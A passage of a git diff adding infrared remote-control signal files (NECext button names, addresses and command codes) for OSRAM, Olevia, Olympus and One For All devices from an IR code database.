+command: 54 00 00 00 +# +name: BLANK +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 57 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 40 40 00 00 +command: 5B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/OSRAM/Unknown_OSRAM/1,0.ir b/assets/resources/infrared/_CSV-IRDB_/OSRAM/Unknown_OSRAM/1,0.ir new file mode 100644 index 000000000..ce838ba9c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/OSRAM/Unknown_OSRAM/1,0.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 42 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Olevia/Unknown_RC-LTFN/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Olevia/Unknown_RC-LTFN/4,-1.ir new file mode 100644 index 000000000..6a747b720 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Olevia/Unknown_RC-LTFN/4,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1B 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1E 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 40 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 55 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5E 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Olevia/Unknown_RC-LTL/4,185.ir b/assets/resources/infrared/_CSV-IRDB_/Olevia/Unknown_RC-LTL/4,185.ir new file mode 100644 index 000000000..03b48edc5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Olevia/Unknown_RC-LTL/4,185.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 B9 00 00 +command: 00 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 B9 00 00 +command: 01 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 B9 00 00 +command: 02 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 B9 00 00 +command: 03 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 B9 00 00 +command: 04 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 B9 00 00 +command: 05 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 B9 00 00 +command: 06 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 B9 00 00 +command: 07 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 B9 00 00 +command: 08 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 B9 00 00 +command: 09 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 B9 00 00 +command: 0A 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 04 B9 00 00 +command: 0F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 B9 00 00 +command: 10 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 B9 00 00 +command: 11 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 B9 00 00 +command: 12 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 B9 00 00 +command: 13 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 04 B9 00 00 +command: 14 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 04 B9 00 00 +command: 15 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 B9 00 00 +command: 16 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 B9 00 00 +command: 17 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 B9 00 00 +command: 18 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 04 B9 00 00 +command: 19 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 B9 00 00 +command: 1A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 B9 00 00 +command: 1B 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 B9 00 00 +command: 1C 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 04 B9 00 00 +command: 1D 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 04 B9 00 00 +command: 1F 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 04 B9 00 00 +command: 20 00 00 00 +# +name: KEY_LIGHTS_TOGGLE +type: parsed +protocol: NECext +address: 04 B9 00 00 +command: 23 00 00 00 +# +name: auto +type: parsed +protocol: NECext +address: 04 B9 00 00 +command: 24 00 00 00 +# +name: aspect +type: parsed +protocol: NECext +address: 04 B9 00 00 +command: 25 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 04 B9 00 00 +command: 28 00 00 00 +# +name: freeze +type: parsed +protocol: NECext +address: 04 B9 00 00 +command: 29 00 00 00 +# +name: cc +type: parsed +protocol: NECext +address: 04 B9 00 00 +command: 2A 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 04 B9 00 00 +command: 2B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Olympus/Unknown_RM-1/134,59.ir b/assets/resources/infrared/_CSV-IRDB_/Olympus/Unknown_RM-1/134,59.ir new file mode 100644 index 000000000..d134d14eb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Olympus/Unknown_RM-1/134,59.ir @@ -0,0 +1,32 @@ +Filetype: IR signals file +Version: 1 +# +name: capture +type: parsed +protocol: NECext +address: 86 3B 00 00 +command: 01 00 00 00 +# +name: KEY_W +type: parsed +protocol: NECext +address: 86 3B 00 00 +command: 02 00 00 00 +# +name: KEY_T +type: parsed +protocol: NECext +address: 86 3B 00 00 +command: 03 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 86 3B 00 00 +command: 04 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 86 3B 00 00 +command: 05 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Olympus/Unknown_RM-2/134,59.ir b/assets/resources/infrared/_CSV-IRDB_/Olympus/Unknown_RM-2/134,59.ir new file mode 100644 index 000000000..ef2989528 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Olympus/Unknown_RM-2/134,59.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: CAPTURE +type: parsed +protocol: NECext +address: 86 3B 00 00 +command: 01 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_7720/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_7720/0,-1.ir new file mode 100644 index 000000000..4bc3e69c3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_7720/0,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6E 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_For/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_For/0,-1.ir new file mode 100644 index 000000000..5eeb962d3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_For/0,-1.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: input +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 33 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: f.rew +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: cc +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3D 00 00 00 +# +name: format +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3E 00 00 00 +# +name: f.fwd +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_For/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_For/8,-1.ir new file mode 100644 index 000000000..fc177d485 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_For/8,-1.ir @@ -0,0 +1,464 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 00 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 01 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 02 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 03 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 04 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 05 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 06 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 07 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 08 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 09 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 09 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0A 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0C 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0D 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0E 00 00 00 +# +name: III +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 21 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 21 00 00 00 +# +name: pp +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 22 00 00 00 +# +name: II +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 23 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 25 00 00 00 +# +name: tv/sat +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 28 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 29 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 2A 00 00 00 +# +name: textv-off +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 2D 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 2D 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 2E 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 39 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 39 00 00 00 +# +name: texttv +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 3C 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 3E 00 00 00 +# +name: pvr +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 3F 00 00 00 +# +name: KEY_I +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 45 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 49 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4A 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4D 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4E 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 50 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 50 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 51 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 51 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 52 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 52 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 53 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 53 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 55 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 55 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 56 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 56 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 57 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 57 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6B 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6C 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6D 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6E 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_One-For-All/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_One-For-All/0,-1.ir new file mode 100644 index 000000000..d35790453 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_One-For-All/0,-1.ir @@ -0,0 +1,380 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: X_KEY_0B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: PP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: BRIGHT_PLUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: BRIGHT_MINUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: COLOR_PLUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: COLOR_MINUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: X_KEY_1B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: X_KEY_1C +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: TEXT_MEMO_OUT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: X_KEY_1E +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: X_KEY_1F +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: PRG_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: PRG_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: PRG_RECALL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 24 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 28 00 00 00 